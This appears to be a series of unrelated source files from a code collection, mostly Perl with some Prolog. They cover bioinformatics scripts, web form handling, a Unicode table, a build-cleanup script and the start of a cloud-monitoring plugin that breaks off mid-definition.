RegoFormConfigAddedObj->delete(dbh=>$dbh, formID=>$formID, entityID=>$entityID, entityTypeID=>$entityTypeID); my $stepper_mode = $cgi->param('stepper'); my $TermsCondHeader = param('tchdr') || ''; my $TermsCondText = param('tctext') || ''; my $TC_AgreeBox = param('tcagree') || 0; my $st_insert = q[ INSERT INTO tblRegoFormConfigAdded ( intRegoFormID, intEntityTypeID, intEntityID, strTermsCondHeader, strTermsCondText, intTC_AgreeBox ) VALUES (?, ?, ?, ?, ?, ? ) ]; my $qry= $Data->{'db'}->prepare($st_insert); $qry->execute( $formID, $entityTypeID ,$entityID, $TermsCondHeader,$TermsCondText,$TC_AgreeBox) or query_error($st_insert); my $subBody = ($DBI::err) ? qq[<div class="warningmsg">There was a problem changing the text</div>] : qq[<div class="OKmsg">Messages saved</div>]; auditLog($formID, $Data, 'Update Text', 'Registration Form'); return ($subBody, '', $stepper_mode); } 1;
facascante/slimerp
fifs/web/RegoFormBuilder/RegoForm.pm
Perl
mit
46,721
#!/usr/bin/perl -w ## ## ## Copyright 2000, University of Washington ## This document contains private and confidential information and ## its disclosure does not constitute publication. All rights are ## reserved by University of Washington, except those specifically ## granted by license. ## ## ## Initial Author: Dylan Chivian (dylan@lazy8.com) ## $Revision: 1.1.1.1 $ ## $Date: 2003/09/05 01:47:28 $ ## $Author: dylan $ ## ## ############################################################################### ############################################################################### package PDButil; ############################################################################### ############################################################################### # conf ############################################################################### #$width = 50; #$spacing = 10; ############################################################################### # init ############################################################################### $| = 1; # don't buffer stdout local %opts = &getCommandLineOptions (); local $pdbfile = $opts{pdbfile}; local $chainOI = $opts{chain}; $pdbID = $pdbfile; $pdbID =~ s!^.*?/?p?d?b?([^\.\/]+)\.[pe][dn][bt]\.?g?z?Z?$!$1!; $pdbID =~ s/^(....)(.?)(.?).*/(lc$1).(uc$2).(uc$3)/e; #$base_id = lc substr ($pdbID, 0, 4); $chainOI = uc $chainOI; ############################################################################### # main ############################################################################### # read # @buf = &fileBufArray ($pdbfile); $last_res_num = -10000; $chainOI_found = undef; $start_res_num = undef; $stop_res_num = undef; for ($i=0; $i <= $#buf; ++$i) { last if ($chainOI_found && ($buf[$i] =~ /^TER/ || $buf[$i] =~ /^ENDMDL/ || $buf[$i] =~ /^MODEL/)); if ($buf[$i] =~ /^ATOM/ || $buf[$i] =~ /^HETATM/) { $chain = substr ($buf[$i], 21, 1); $chain = ($chain eq ' ') ? '_' : uc $chain; if (($chain eq '_' && $chainOI eq 'A') || ($chain eq 'A' && $chainOI eq '_')) { print STDERR "$0: WARNING: changing chain sought from $chainOI to $chain\n"; $chainOI = $chain; } next if ($chain ne $chainOI); $chainOI_found = 'TRUE'; $atom_type = substr ($buf[$i], 12, 4); if ($atom_type eq ' CA ') { $res_num = substr ($buf[$i], 22, 5); # includes insertion code $res_num =~ s/\s+//g; if ($res_num ne $last_res_num) { $last_res_num = $res_num; if (! defined $start_res_num) { $start_res_num = $res_num; } $stop_res_num = $res_num; push (@fasta, &mapResCode (substr($buf[$i], 17, 3))); } } } } # build fasta output # $outbuf = ''; #$outbuf .= ">$base_id$chainOI $start_res_num-$stop_res_num\n"; for ($i=0; $i <= $#fasta; ++$i) { # if ($i % $width == 0 && $i != 0) { # $outbuf .= "\n"; # } # elsif ($i % $spacing == 0 && $i != 0) { # $outbuf .= ' '; # } $outbuf .= $i+1; $outbuf .= " "; $outbuf .= $fasta[$i]; $outbuf .= " "; $outbuf .= "\.\n"; } $outbuf =~ s/\s+$//g; $outbuf .= "\n"; # output print $outbuf; # exit # exit 0; ############################################################################### # subs ############################################################################### sub mapResCode { local ($incode, $silent) = @_; $incode = uc $incode; my $newcode = undef; my %one_to_three = ( 'G' => 'GLY', 'A' => 'ALA', 'V' => 'VAL', 'L' => 'LEU', 'I' => 'ILE', 'P' => 'PRO', 'C' => 'CYS', 'M' => 'MET', 'H' => 'HIS', 'F' => 'PHE', 'Y' => 'TYR', 'W' => 'TRP', 'N' => 'ASN', 'Q' => 'GLN', 'S' => 'SER', 'T' => 'THR', 'K' => 'LYS', 'R' => 'ARG', 'D' => 'ASP', 'E' => 'GLU', 'X' => 'XXX', '0' => ' A', '1' => ' C', '2' => ' G', '3' => ' T', '4' => ' U' ); my %three_to_one = ( 'GLY' => 'G', 'ALA' => 'A', 'VAL' => 'V', 'LEU' => 'L', 'ILE' => 'I', 'PRO' => 'P', 'CYS' => 'C', 'MET' => 'M', 'HIS' => 'H', 'PHE' => 'F', 'TYR' => 'Y', 'TRP' => 'W', 'ASN' => 'N', 'GLN' => 'Q', 'SER' => 'S', 'THR' => 'T', 'LYS' => 'K', 'ARG' => 'R', 'ASP' => 'D', 'GLU' => 'E', ' X' => 'X', ' A' => '0', ' C' => '1', ' G' => '2', ' T' => '3', ' U' => '4', ' +A' => '0', ' +C' => '1', ' +G' => '2', ' +T' => '3', ' +U' => '4', # all of these are supposed to be handled by MODRES # (but aren't always or aren't done properly) '5HP' => 'Q', 'ABA' => 'C', 'AGM' => 'R', 'CEA' => 'C', 'CGU' => 'E', 'CME' => 'C', 'CSB' => 'C', 'CSE' => 'C', 'CSD' => 'C', 'CSO' => 'C', 'CSP' => 'C', 'CSS' => 'C', 'CSW' => 'C', 'CSX' => 'C', 'CXM' => 'M', 'CYM' => 'C', 'CYG' => 'C', 'DOH' => 'D', 'FME' => 'M', 'GL3' => 'G', 'HYP' => 'P', 'KCX' => 'K', 'LLP' => 'K', 'LYZ' => 'K', 'MEN' => 'N', 'MGN' => 'Q', 'MHS' => 'H', 'MIS' => 'S', 'MLY' => 'K', 'MSE' => 'M', 'NEP' => 'H', 'OCS' => 'C', 'PCA' => 'Q', 'PTR' => 'Y', 'SAC' => 'S', 'SEP' => 'S', 'SMC' => 'C', 'STY' => 'Y', 'SVA' => 'S', 'TPO' => 'T', 'TPQ' => 'Y', 'TRN' => 'W', 'TRO' => 'W', 'YOF' => 'Y', '1MG' => 'X', '2DA' => 'X', '2PP' => 'X', '4SC' => 'X', '4SU' => 'X', '5IU' => 'X', '5MC' => 'X', '5MU' => 'X', 'ACB' => 'X', 'ACE' => 'X', 'ACL' => 'X', 'ADD' => 'X', 'AHO' => 'X', 'AIB' => 'X', 'ALS' => 'X', 'ARM' => 'X', 'ASK' => 'X', 'ASX' => 'X', # NOT B, PREFER TOTAL AMBIGUITY 'BAL' => 'X', 'BE2' => 'X', 'CAB' => 'X', 'CBX' => 'X', 'CBZ' => 'X', 'CCC' => 'X', 'CHA' => 'X', 'CH2' => 'X', 'CH3' => 'X', 'CHG' => 'X', 'CPN' => 'X', 'CRO' => 'X', 'DAL' => 'X', 'DGL' => 'X', 'DOC' => 'X', 'DPN' => 'X', 'EXC' => 'X', 'EYS' => 'X', 'FGL' => 'X', 'FOR' => 'X', 'G7M' => 'X', 'GLQ' => 'X', 'GLX' => 'X', # NOT Z, PREFER TOTAL AMBIGUITY 'GLZ' => 'X', 'GTP' => 'X', 'H2U' => 'X', 'HAC' => 'X', 'HEM' => 'X', 'HMF' => 'X', 'HPB' => 'X', 'IAS' => 'X', 'IIL' => 'X', 'IPN' => 'X', 'LAC' => 'X', 'LYT' => 'X', 'LYW' => 'X', 'MAA' => 'X', 'MAI' => 'X', 'MHO' => 'X', 'MLZ' => 'X', 'NAD' => 'X', 'NAL' => 'X', 'NH2' => 'X', 'NIT' => 'X', 'NLE' => 'X', 'ODS' => 'X', 'OXY' => 'X', 'PHD' => 'X', 'PHL' => 'X', 'PNL' => 'X', 'PPH' => 'X', 'PPL' => 'X', 'PRN' => 'X', 'PSS' => 'X', 'PSU' => 'X', 'PVL' => 'X', 'PY2' => 'X', 'QND' => 'X', 'QUO' => 'X', 'SEC' => 'X', 'SEG' => 'X', 'SEM' => 'X', 'SET' => 'X', 'SIN' => 'X', 'SLE' => 'X', 'THC' => 'X', 'TPN' => 'X', 'TRF' => 'X', 'UNK' => 'X', 'VAS' => 'X', 'YRR' => 'X', ); my %fullname_to_one = ( 'GLYCINE' => 'G', 'ALANINE' => 'A', 'VALINE' => 'V', 'LEUCINE' => 'L', 'ISOLEUCINE' => 'I', 'PROLINE' => 'P', 'CYSTEINE' => 'C', 'METHIONINE' => 'M', 'HISTIDINE' => 'H', 'PHENYLALANINE' => 'F', 'TYROSINE' => 'Y', 'TRYPTOPHAN' => 'W', 'ASPARAGINE' => 'N', 'GLUTAMINE' => 'Q', 'SERINE' => 'S', 'THREONINE' => 'T', 'LYSINE' => 'K', 'ARGININE' => 'R', 'ASPARTATE' => 'D', 'GLUTAMATE' => 'E', 'ASPARTIC ACID' => 'D', 'GLUTAMATIC ACID' => 'E', 'ASPARTIC_ACID' => 'D', 'GLUTAMATIC_ACID' => 'E', 'SELENOMETHIONINE' => 'M', 'SELENOCYSTEINE' => 'M', 'ADENINE' => '0', 'CYTOSINE' => '1', 'GUANINE' => '2', 'THYMINE' => '3', 'URACIL' => '4' ); # map it # if (length $incode == 1) { $newcode = $one_to_three{$incode}; } elsif (length $incode == 3) { $newcode = $three_to_one{$incode}; } else { $newcode = $fullname_to_one{$incode}; } # check for weirdness # if (! defined $newcode) { # &abort ("unknown residue '$incode'"); # print STDERR ("unknown residue '$incode' (mapping to 'Z')\n"); # $newcode = 'Z'; if (! $silent) { print STDERR ("unknown residue '$incode' (mapping to 'X')\n"); } $newcode = 'X'; } elsif ($newcode eq 'X') { if (! $silent) { print STDERR ("strange residue '$incode' (seen code, mapping to 'X')\n"); } } return $newcode; } # getCommandLineOptions() # # desc: get the command line options # # args: none # # rets: \%opts pointer to hash of kv pairs of command line options # sub getCommandLineOptions { use Getopt::Long; local $usage = qq{usage: $0 -pdbfile <pdbfile> [-chain <chain>]}; # Get args # local %opts = (); &GetOptions (\%opts, "pdbfile=s", "chain=s"); # Check for legal invocation # if (! defined $opts{pdbfile}) { print STDERR "$usage\n"; exit -1; } &checkExistence ('f', $opts{pdbfile}); # defaults $opts{chain} = '_' if (! defined $opts{chain}); return %opts; } ############################################################################### # util ############################################################################### sub maxInt { local ($v1, $v2) = @_; return ($v1 > $v2) ? $v1 : $v2; } sub tidyDecimals { my ($num, $decimal_places) = @_; if ($num !~ /\./) { $num .= '.' . '0' x $decimal_places; $num =~ s/^0+//; } else { if ($num =~ s/(.*\.\d{$decimal_places})(\d).*$/$1/) { my $nextbit = $2; if ($nextbit >= 5) { my $flip = '0.' . '0' x ($decimal_places - 1) . '1'; $num += $flip; } } $num =~ s/^0//; my $extra_places = ($decimal_places + 1) - length $num; $num .= '0' x $extra_places if ($extra_places > 0); } return $num; } sub distsq { local @dims = @_; local $v = 0; foreach $dim (@dims) { $v += $dim*$dim; } return $v; } sub logMsg { local ($msg, $logfile) = @_; if ($logfile) { open (LOGFILE, ">".$logfile); select (LOGFILE); } print $msg, "\n"; if ($logfile) { close (LOGFILE); select (STDOUT); } return 'true'; } sub checkExistence { local ($type, $path) = @_; if ($type eq 'd') { if (! -d $path) { print STDERR "$0: dirnotfound: $path\n"; exit -3; } } elsif ($type eq 'f') { if (! -f $path) { print STDERR "$0: filenotfound: $path\n"; exit -3; } } } sub abort { local $msg = shift; print STDERR "$0: $msg\n"; exit -2; } sub writeBufToFile { ($file, $bufptr) = @_; if (! open (FILE, '>'.$file)) { &abort ("$0: unable to open file $file for writing"); } print FILE join ("\n", @{$bufptr}), "\n"; close (FILE); return; } sub fileBufString { local $file = shift; local $oldsep = $/; undef $/; if ($file =~ /\.gz|\.Z/) { if (! open (FILE, "gzip -dc $file |")) { &abort ("$0: unable to open file $file for gzip -dc"); } } elsif (! open (FILE, $file)) { &abort ("$0: unable to open file $file for reading"); } local $buf = <FILE>; close (FILE); $/ = $oldsep; return $buf; } sub fileBufArray { local $file = shift; local $oldsep = $/; undef $/; if ($file =~ /\.gz|\.Z/) { if (! open (FILE, "gzip -dc $file |")) { &abort ("$0: unable to open file $file for gzip -dc"); } } elsif (! open (FILE, $file)) { &abort ("$0: unable to open file $file for reading"); } local $buf = <FILE>; close (FILE); $/ = $oldsep; @buf = split (/$oldsep/, $buf); pop (@buf) if ($buf[$#buf] eq ''); return @buf; } ############################################################################### 1; # package end # end ###############################################################################
jaumebonet/FoldFromLoopsTutorial
benchmark/scientific/interleukin/complete_structure/getBluePrintFromCoords.pl
Perl
mit
12,336
package MovieWorld::Schema; use base qw/DBIx::Class::Schema/; __PACKAGE__->load_namespaces; 1;
betrakiss/MovieWorld
app/lib/MovieWorld/Schema.pm
Perl
mit
96
#!/usr/bin/perl -w use strict; use Bio::AlignIO; use Bio::DB::Fasta; use Bio::Tools::Run::Alignment::Muscle; my $sUsage = qq( perl $0 <cluster file with chromosome assigned> <all9line fasta file> <output file> ); die $sUsage unless @ARGV >= 3; my ($cluster_file, $infasta, $output) = @ARGV; my $gn_obj = Bio::DB::Fasta->new($infasta); open (OUT, ">$output") or die; my %ctg_homeologs = read_cluster_file($cluster_file); foreach my $ctg (keys %ctg_homeologs) { my @sub_chrs = keys %{$ctg_homeologs{$ctg}}; next if @sub_chrs > 3; foreach my $sub_chr (@sub_chrs) { my @seq_ids = @{$ctg_homeologs{$ctg}{$sub_chr}}; my $consensus = get_consensus($gn_obj, \@seq_ids); print OUT ">", $ctg,":", substr($sub_chr,0,2), "\n"; print OUT $consensus, "\n"; } } close OUT; # Subroutines sub read_cluster_file { my $file = shift; my %return; open (IN, $file) or die "can't open file $file\n"; while (<IN>) { chomp; # Kukri_mira1_c11075 Excalibur_mira1_c28699:3AL+Kukri_mira1_c11075:3DL+Kukri_mira1_c39215:3AL my @t = split /\s+/, $_; my @p = split /\+/, $t[1]; foreach (@p) { my @arr = split /:/, $_; push @{$return{$t[0]}{substr($arr[1],0,2)}}, $arr[0] unless $arr[1] eq "N"; } } close IN; return %return; } sub get_consensus { my ($gn, $lists) = @_; if(@$lists == 1) { my $seq = $gn->get_Seq_by_id($lists->[0])->seq; return $seq; } else { my $tmp_file = "tmp.fa"; open (T, ">$tmp_file") or die "can't open file $tmp_file\n"; foreach my $id (@$lists) { my $seq = $gn->get_Seq_by_id($id)->seq; print T ">$id\n$seq\n"; } close T; my $aln_factory = Bio::Tools::Run::Alignment::Muscle->new(); my $aln = $aln_factory->align($tmp_file); my $consensus = $aln->consensus_string(); return $consensus; } }
swang8/Perl_scripts_misc
generate_homeologs_from_clusters_and_contigs.pl
Perl
mit
1,787
%Source: Sterling, Shapiro - The Art of Prolog. Program 8.1 - Program 8.12. %query:between(g,g,g). between(I,J,I) :- I =< J. between(I,J,K) :- I < J, I1 is I + 1, between(I1, J, K).
ComputationWithBoundedResources/ara-inference
doc/tpdb_trs/Prolog/Art-of-prolog/program-8-5.pl
Perl
mit
182
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is machine-generated by lib/unicore/mktables from the Unicode # database, Version 12.1.0. Any changes made here will be lost! # !!!!!!! INTERNAL PERL USE ONLY !!!!!!! # This file is for internal use by core Perl only. The format and even the # name or existence of this file are subject to change without notice. Don't # use it directly. Use Unicode::UCD to access the Unicode character data # base. return <<'END'; V66 11904 11930 11931 12020 12032 12246 12289 12292 12293 12306 12307 12320 12321 12334 12336 12337 12343 12352 12539 12540 12688 12704 12736 12772 12832 12872 12928 12977 12992 13004 13055 13056 13144 13169 13179 13184 13280 13311 13312 19894 19968 40944 63744 64110 64112 64218 65093 65095 65377 65382 119648 119666 127568 127570 131072 173783 173824 177973 177984 178206 178208 183970 183984 191457 194560 195102 END
operepo/ope
client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/Scx/Han.pl
Perl
mit
903
/* Part of SWI-Prolog Author: Jan Wielemaker E-mail: J.Wielemaker@cs.vu.nl WWW: http://www.swi-prolog.org Copyright (C): 2014, VU University Amsterdam This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this library; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA As a special exception, if you link this library with other files, compiled with a Free Software compiler, to produce an executable, this library does not by itself cause the resulting executable to be covered by the GNU General Public License. This exception does not however invalidate any other reasons why the executable file might be covered by the GNU General Public License. */ :- module(annotation, [ annotation//1 % +object:compound ]). /** <module> Annotation @author Wouter Beek @tbd Build annotation2post converter. @version 2014/01 */ :- use_module(generics). :- use_module(library(http/html_head)). :- use_module(library(http/html_write)). :- use_module(library(http/http_dispatch)). :- use_module(library(pldoc/doc_html), [object_ref//2]). :- use_module(object_support). :- use_module(post). :- html_resource(css('annotation.css'), [ requires([css('post.css')]) ]). :- multifile prolog:doc_object_page_footer/2. :- http_handler(root(annotation), annotation_process, [prefix]). %% annotation_process(+Request) % % REST HTTP handler for /annotation/ID % % @tbd Where is this used for? This also seems to do a request % on ourselves. We'd like to avoid that. annotation_process(Request):- memberchk(method(get), Request), request_to_id(Request, annotation, Post), !, post(Post, id, Id), post(Post, about, Object), object_label(Object, Label), atomic_list_concat(['Annotation',Label], '--', Title), reply_html_page( wiki(Title), title(Title), \post(Id, [])). annotation_process(Request):- post_process(Request, annotation). %% annotation(+Object)// % % Show annotations for Object. annotation(Object) --> { ground(Object), !, ( prolog:doc_canonical_object(Object, Object2) -> true ; Object2 = Object ), find_posts(annotation, object_post(Object2), Ids) }, html([\html_requires(css('annotation.css')), \posts(annotation, Object2, Ids, []) ]). annotation(_) --> []. object_post(About, Id) :- post(Id, object, About).
TeamSPoon/logicmoo_workspace
packs_web/plweb/annotation.pl
Perl
mit
2,956
#!perl -w open F, 'dir /b/s *.pas|'; while(<F>){ chomp; s/\.pas/.dcu/; s/.+\\//; $p = "..\\libs7\\lib\\dcu\\$_"; -f $p or next; print "$p\n"; unlink $p; } close F; @specials = qw~ okFramelist.dcu ~; for (@specials){ $p = "..\\libs7\\lib\\dcu\\$_"; -f $p or next; print "$p\n"; unlink $p; }
kadavris/ok-sklad
Production7/clear_libbed_dcus.pl
Perl
mit
343
#! /usr/bin/perl -w use strict; sub format_money{ my $money = sprintf "%.2f", shift @_; 1 while $money =~ s/^(-?\d+)(\d{3})/$1,$2/; $money =~ s/^(-?)/$1\$/; $money; } print format_money(1234567890.1234567890); # 我们为什么不能使用/g 修饰符来进行一个“全面的”查找- 替换,以防止使用容易混淆的 1 while 循环呢?我们不能用它,因 # 为我们是从小数点开始(向前),而非从字符串开始。如此将逗号加入数字,是不能仅仅使用 s///g 替换的
yuweijun/learning-programming
language-perl/sprintf.pl
Perl
mit
508
# !!!!!!! DO NOT EDIT THIS FILE !!!!!!! # This file is machine-generated by lib/unicore/mktables from the Unicode # database, Version 12.1.0. Any changes made here will be lost! # !!!!!!! INTERNAL PERL USE ONLY !!!!!!! # This file is for internal use by core Perl only. The format and even the # name or existence of this file are subject to change without notice. Don't # use it directly. Use Unicode::UCD to access the Unicode character data # base. return <<'END'; V1638 32 127 160 173 174 768 880 888 890 896 900 907 908 909 910 930 931 1155 1162 1328 1329 1367 1369 1419 1421 1424 1470 1471 1472 1473 1475 1476 1478 1479 1488 1515 1519 1525 1542 1552 1563 1564 1566 1611 1632 1648 1649 1750 1758 1759 1765 1767 1769 1770 1774 1806 1808 1809 1810 1840 1869 1958 1969 1970 1984 2027 2036 2043 2046 2070 2074 2075 2084 2085 2088 2089 2096 2111 2112 2137 2142 2143 2144 2155 2208 2229 2230 2238 2307 2362 2363 2364 2365 2369 2377 2381 2382 2385 2392 2402 2404 2433 2434 2436 2437 2445 2447 2449 2451 2473 2474 2481 2482 2483 2486 2490 2493 2494 2495 2497 2503 2505 2507 2509 2510 2511 2524 2526 2527 2530 2534 2558 2563 2564 2565 2571 2575 2577 2579 2601 2602 2609 2610 2612 2613 2615 2616 2618 2622 2625 2649 2653 2654 2655 2662 2672 2674 2677 2678 2679 2691 2692 2693 2702 2703 2706 2707 2729 2730 2737 2738 2740 2741 2746 2749 2753 2761 2762 2763 2765 2768 2769 2784 2786 2790 2802 2809 2810 2818 2820 2821 2829 2831 2833 2835 2857 2858 2865 2866 2868 2869 2874 2877 2878 2880 2881 2887 2889 2891 2893 2908 2910 2911 2914 2918 2936 2947 2948 2949 2955 2958 2961 2962 2966 2969 2971 2972 2973 2974 2976 2979 2981 2984 2987 2990 3002 3007 3008 3009 3011 3014 3017 3018 3021 3024 3025 3046 3067 3073 3076 3077 3085 3086 3089 3090 3113 3114 3130 3133 3134 3137 3141 3160 3163 3168 3170 3174 3184 3191 3201 3202 3213 3214 3217 3218 3241 3242 3252 3253 3258 3261 3263 3264 3266 3267 3269 3271 3273 3274 3276 3294 3295 3296 3298 3302 3312 3313 3315 3330 3332 3333 3341 3342 3345 3346 3387 3389 3390 3391 3393 3398 3401 3402 3405 3406 3408 3412 3415 3416 3426 3430 3456 3458 3460 3461 3479 3482 3506 3507 3516 3517 3518 3520 3527 3536 3538 3544 3551 3558 3568 3570 3573 3585 3633 3634 3636 3647 3655 3663 3676 3713 3715 3716 3717 3718 3723 3724 3748 3749 3750 3751 3761 3762 3764 3773 3774 3776 3781 3782 3783 3792 3802 3804 3808 3840 3864 3866 3893 3894 3895 3896 3897 3898 3912 3913 3949 3967 3968 3973 3974 3976 3981 4030 4038 4039 4045 4046 4059 4096 4141 4145 4146 4152 4153 4155 4157 4159 4184 4186 4190 4193 4209 4213 4226 4227 4229 4231 4237 4238 4253 4254 4294 4295 4296 4301 4302 4304 4681 4682 4686 4688 4695 4696 4697 4698 4702 4704 4745 4746 4750 4752 4785 4786 4790 4792 4799 4800 4801 4802 4806 4808 4823 4824 4881 4882 4886 4888 4955 4960 4989 4992 5018 5024 5110 5112 5118 5120 5789 5792 5881 5888 5901 5902 5906 5920 5938 5941 5943 5952 5970 5984 5997 5998 6001 6016 6068 6070 6071 6078 6086 6087 6089 6100 6109 6112 6122 6128 6138 6144 6155 6160 6170 6176 6265 6272 6277 6279 6313 6314 6315 6320 6390 6400 6431 6435 6439 6441 6444 6448 6450 6451 6457 6464 6465 6468 6510 6512 6517 6528 6572 6576 6602 6608 6619 6622 6679 6681 6683 6686 6742 6743 6744 6753 6754 6755 6757 6765 6771 6784 6794 6800 6810 6816 6830 6916 6964 6971 6972 6973 6978 6979 6988 6992 7019 7028 7037 7042 7074 7078 7080 7082 7083 7086 7142 7143 7144 7146 7149 7150 7151 7154 7156 7164 7212 7220 7222 7227 7242 7245 7305 7312 7355 7357 7368 7379 7380 7393 7394 7401 7405 7406 7412 7413 7416 7418 7419 7424 7616 7680 7958 7960 7966 7968 8006 8008 8014 8016 8024 8025 8026 8027 8028 8029 8030 8031 8062 8064 8117 8118 8133 8134 8148 8150 8156 8157 8176 8178 8181 8182 8191 8192 8203 8208 8232 8239 8288 8304 8306 8308 8335 8336 8349 8352 8384 8448 8588 8592 9255 9280 9291 9312 11124 11126 11158 11160 11311 11312 11359 11360 11503 11506 11508 11513 11558 11559 11560 11565 11566 11568 11624 11631 11633 11648 11671 11680 11687 11688 11695 11696 11703 11704 11711 11712 11719 11720 11727 11728 11735 11736 11743 11776 11856 11904 11930 11931 12020 12032 12246 12272 12284 12288 12330 12336 12352 12353 12439 12443 12544 12549 12592 12593 12687 12688 12731 12736 12772 12784 12831 12832 19894 19904 40944 40960 42125 42128 42183 42192 42540 42560 42607 42611 42612 42622 42654 42656 42736 42738 42744 42752 42944 42946 42951 42999 43010 43011 43014 43015 43019 43020 43045 43047 43052 43056 43066 43072 43128 43136 43204 43214 43226 43250 43263 43264 43302 43310 43335 43346 43348 43359 43389 43395 43443 43444 43446 43450 43452 43454 43470 43471 43482 43486 43493 43494 43519 43520 43561 43567 43569 43571 43573 43584 43587 43588 43596 43597 43598 43600 43610 43612 43644 43645 43696 43697 43698 43701 43703 43705 43710 43712 43713 43714 43715 43739 43756 43758 43766 43777 43783 43785 43791 43793 43799 43808 43815 43816 43823 43824 43880 43888 44005 44006 44008 44009 44013 44016 44026 44032 55204 55216 55239 55243 55292 63744 64110 64112 64218 64256 64263 64275 64280 64285 64286 64287 64311 64312 64317 64318 64319 64320 64322 64323 64325 64326 64450 64467 64832 64848 64912 64914 64968 65008 65022 65040 65050 65072 65107 65108 65127 65128 65132 65136 65141 65142 65277 65281 65438 65440 65471 65474 65480 65482 65488 65490 65496 65498 65501 65504 65511 65512 65519 65532 65534 65536 65548 65549 65575 65576 65595 65596 65598 65599 65614 65616 65630 65664 65787 65792 65795 65799 65844 65847 65935 65936 65948 65952 65953 66000 66045 66176 66205 66208 66257 66273 66300 66304 66340 66349 66379 66384 66422 66432 66462 66463 66500 66504 66518 66560 66718 66720 66730 66736 66772 66776 66812 66816 66856 66864 66916 66927 66928 67072 67383 67392 67414 67424 67432 67584 67590 67592 67593 67594 67638 67639 67641 67644 67645 67647 67670 67671 67743 67751 67760 67808 67827 67828 67830 67835 67868 67871 67898 67903 67904 67968 68024 68028 68048 68050 68097 68112 68116 68117 68120 68121 68150 68160 68169 68176 68185 68192 68256 68288 68325 68331 68343 68352 68406 68409 68438 68440 68467 68472 68498 68505 68509 68521 68528 68608 68681 68736 68787 68800 68851 68858 68900 68912 68922 69216 69247 69376 69416 69424 69446 69457 69466 69600 69623 69632 69633 69634 69688 69703 69710 69714 69744 69762 69811 69815 69817 69819 69821 69822 69826 69840 69865 69872 69882 69891 69927 69932 69933 69942 69959 69968 70003 70004 70007 70018 70070 70079 70089 70093 70094 70096 70112 70113 70133 70144 70162 70163 70191 70194 70196 70197 70198 70200 70206 70272 70279 70280 70281 70282 70286 70287 70302 70303 70314 70320 70367 70368 70371 70384 70394 70402 70404 70405 70413 70415 70417 70419 70441 70442 70449 70450 70452 70453 70458 70461 70462 70463 70464 70465 70469 70471 70473 70475 70478 70480 70481 70493 70500 70656 70712 70720 70722 70725 70726 70727 70746 70747 70748 70749 70750 70751 70752 70784 70832 70833 70835 70841 70842 70843 70845 70846 70847 70849 70850 70852 70856 70864 70874 71040 71087 71088 71090 71096 71100 71102 71103 71105 71132 71168 71219 71227 71229 71230 71231 71233 71237 71248 71258 71264 71277 71296 71339 71340 71341 71342 71344 71350 71351 71352 71353 71360 71370 71424 71451 71456 71458 71462 71463 71472 71488 71680 71727 71736 71737 71739 71740 71840 71923 71935 71936 72096 72104 72106 72148 72156 72160 72161 72165 72192 72193 72203 72243 72249 72251 72255 72263 72272 72273 72279 72281 72284 72330 72343 72344 72346 72355 72384 72441 72704 72713 72714 72752 72766 72767 72768 72774 72784 72813 72816 72848 72873 72874 72881 72882 72884 72885 72960 72967 72968 72970 72971 73009 73030 73031 73040 73050 73056 73062 73063 73065 73066 73103 73107 73109 73110 73111 73112 73113 73120 73130 73440 73459 73461 73465 73664 73714 73727 74650 74752 74863 74864 74869 74880 75076 77824 78895 82944 83527 92160 92729 92736 92767 92768 92778 92782 92784 92880 92910 92917 92918 92928 92976 92983 92998 93008 93018 93019 93026 93027 93048 93053 93072 93760 93851 93952 94027 94032 94088 94099 94112 94176 94180 94208 100344 100352 101107 110592 110879 110928 110931 110948 110952 110960 111356 113664 113771 113776 113789 113792 113801 113808 113818 113820 113821 113823 113824 118784 119030 119040 119079 119081 119141 119142 119143 119146 119150 119171 119173 119180 119210 119214 119273 119296 119362 119365 119366 119520 119540 119552 119639 119648 119673 119808 119893 119894 119965 119966 119968 119970 119971 119973 119975 119977 119981 119982 119994 119995 119996 119997 120004 120005 120070 120071 120075 120077 120085 120086 120093 120094 120122 120123 120127 120128 120133 120134 120135 120138 120145 120146 120486 120488 120780 120782 121344 121399 121403 121453 121461 121462 121476 121477 121484 123136 123181 123191 123198 123200 123210 123214 123216 123584 123628 123632 123642 123647 123648 124928 125125 125127 125136 125184 125252 125259 125260 125264 125274 125278 125280 126065 126133 126209 126270 126464 126468 126469 126496 126497 126499 126500 126501 126503 126504 126505 126515 126516 126520 126521 126522 126523 126524 126530 126531 126535 126536 126537 126538 126539 126540 126541 126544 126545 126547 126548 126549 126551 126552 126553 126554 126555 126556 126557 126558 126559 126560 126561 126563 126564 126565 126567 126571 126572 126579 126580 126584 126585 126589 126590 126591 126592 126602 126603 126620 126625 126628 126629 126634 126635 126652 126704 126706 126976 127020 127024 127124 127136 127151 127153 127168 127169 127184 127185 127222 127232 127245 127248 127341 127344 127405 127462 127491 127504 127548 127552 127561 127568 127570 127584 127590 127744 128726 128736 128749 128752 128763 128768 128884 128896 128985 128992 129004 129024 129036 129040 129096 129104 129114 129120 129160 129168 129198 129280 129292 129293 129394 129395 129399 129402 129443 129445 129451 129454 129483 129485 129620 129632 129646 129648 129652 129656 129659 129664 129667 129680 129686 131072 173783 173824 177973 177984 178206 178208 183970 183984 191457 194560 195102 END
operepo/ope
client_tools/svc/rc/usr/share/perl5/core_perl/unicore/lib/GrBase/Y.pl
Perl
mit
9,925
# # Copyright 2021 Centreon (http://www.centreon.com/) # # Centreon is a full-fledged industry-strength solution that meets # the needs in IT infrastructure and application monitoring for # service performance. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # package cloud::azure::database::mysql::mode::memory; use base qw(cloud::azure::custom::mode); use strict; use warnings; sub get_metrics_mapping { my ($self, %options) = @_; my $metrics_mapping = { 'memory_percent' => { 'output' => 'Memory percent', 'label' => 'memory-usage', 'nlabel' => 'azmysql.memory.usage.percentage', 'unit' => '%', 'min' => '0', 'max' => '100' } }; return $metrics_mapping; } sub new { my ($class, %options) = @_; my 